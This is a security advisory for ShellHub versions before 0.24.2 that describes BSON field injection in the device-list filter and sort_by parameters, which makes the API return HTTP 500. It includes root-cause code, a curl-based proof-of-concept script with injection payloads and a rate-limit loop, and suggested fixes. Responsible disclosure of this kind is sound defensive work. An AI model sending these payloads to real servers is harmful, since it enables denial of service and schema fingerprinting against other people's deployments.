GHSA-47r2-v3x6-wff9
ShellHub has crash-DoS via field injection in filter and sort-by parameters
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/shellhub-io/shellhub | < 0.24.2 | 0.24.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:
1. The `name` field of each filter property in the base64-encoded `filter`
query parameter.
2. The `sort_by` query parameter.
Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.
## Severity
**CVSS 3.1: 6.5 (Medium)**
CWE-20 (Improper Input Validation)
CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
## Affected versions
ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`).
## Root cause
### Vector 1 — Filter field name
`api/store/mongo/query-options.go:140`:
```go
conditions = append(conditions, bson.M{param.Name: property})
```
`param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be injected.
### Vector 2 — Sort-by field
Similar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{"$sort": {sortBy: order}}` without validation.
### Additional observation
`fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.
```go
func fromContains(value interface{}) (bson.M, error) {
switch value.(type) {
case string:
return bson.M{"$regex": value, "$options": "i"}, nil
```
## Proof of concept (validated live against v0.24.1)
```bash
TOKEN=<valid-user-jwt>
# Helper: base64-encode a filter payload
encode_filter() {
python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1"
}
# --- Vector 1: filter field injection ---
# Baseline: legitimate filter -> 200
F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 1a: Mongo operator as field name
F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1b: nested object as value
F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1c: pipeline-computed field as filter name
F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Vector 2: sort-by injection ---
# Baseline: legitimate sort -> 200
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \
-H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 2a: Mongo operator as sort field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2b: path containing $
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2c: oversized sort field (no length validation)
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2d: non-indexable internal field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Repeat to demonstrate no rate limiting ---
for i in $(seq 1 20); do
curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \
-H "Authorization: Bearer $TOKEN"
done
# 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500
```
**Confirmed field values that trigger 500:**
- Filter name: `$where`, `$regex`, `$or`, `$ne`, `remote_addr`, `tenant_id`, `namespace`, any path containing `$` after a `.`
- Sort-by: `$where`, `_id.$$$`, `tenant_id`, `password.hash`, overly long strings
**Observed response characteristics:**
```
HTTP/1.1 500 Internal Server Error
Content-Length: 0
X-Request-Id: <id> ← logged as error in backend
```
Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.
## Impact
- **Availability (low):** unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass
fingerprinting.
- **Information disclosure (low):** potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
- **Resource exhaustion (potential):** user-controlled `$regex` value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).
- **Forensics difficulty:** unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.
## Suggested fix
1. **Allowlist filter and sort field names per collection.** Add a whitelist of allowed `param.Name` and `sort_by` values for each model exposed via filters (`device`, `session`, etc.). Reject anything else with HTTP 400.
2. **Reject BSON operators in field names.** Even if an allowlist is not practical, reject values that:
- start with `$`
- contain `$` after a `.`
- contain characters outside `[A-Za-z0-9_.]`
- exceed a reasonable length (e.g., 64 characters)
3. **Validate `value` shape.** For `contains`/`eq`/`ne` operators, reject non-primitive values (objects, arrays of objects).
4. **Catch aggregation errors.** In `api/store/mongo/query-options.go`, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.
5. **Limit regex complexity.** In `fromContains`, reject regex values longer than N characters or containing nested quantifiers (`(...)+`, `(...)*`, `(.+)+`, etc.) to mitigate ReDoS.
References
External links from the advisory. They lead to third-party sites.